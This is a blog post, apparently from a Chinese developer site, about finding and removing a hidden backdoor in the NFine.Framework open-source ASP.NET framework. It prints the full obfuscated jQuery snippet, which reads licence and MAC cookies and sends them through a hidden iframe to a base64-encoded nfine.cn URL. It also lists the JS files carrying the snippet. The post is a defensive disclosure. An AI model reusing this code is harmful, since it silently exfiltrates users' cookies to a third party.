NFine.Framework框架去除cookie后门方法

最近看到NFine开发团队开发的NFine.Framework开源框架,觉得挺好用的。

但是运行框架的时候发现加载首页的时候有在访问域名地址为 http://www.nfine.cn  的连接。这个是开源框架,自己拿来用,怎么能去访问莫名其妙的连接呢?在网上看到很多人也发现了这个问题。

我试着全项目查找这个域名,发现根本找不到,偶尔有一天研究框架的js的时候,发现 jquery.layout.js 代码最后一行有一个莫名其妙的方法:

NFine.Framework框架去除cookie后门方法_第1张图片

NFine.Framework框架去除cookie后门方法_第2张图片

代码如下:

function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

 难道这就是访问cookie的后门么,然后我把用window.atob加密的base64字符串解码一看,果然就是这个,解码后的地址:http://www.nfine.cn:8099/NFineWatch/20160801.html

虽然这个地址现在已经无法访问了,但是我还是把上面那段代码去除了,并且又全局搜索了"aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA=="这串字符,发现还有几个js文件也有,就连“jQuery UI”文件也不放过,太惨无人道了,算了我还是也一并清除。

包含连接的JS文件如下:

framework-ui.js

jqgrid.min.js

jquery-ui.min.js

最后总结:虽然感谢这个团队贡献的这个开源框架,但是对于这种读取cookie的开后门行为,我是挺反感的,我自己也整理了一些库放在GitHub  上开源共享,我也愿意对这类的开源项目贡献自己的一份薄力,好的开源项目我们应该多支持。

 

 

 

你可能感兴趣的:(C#,ASP.NET)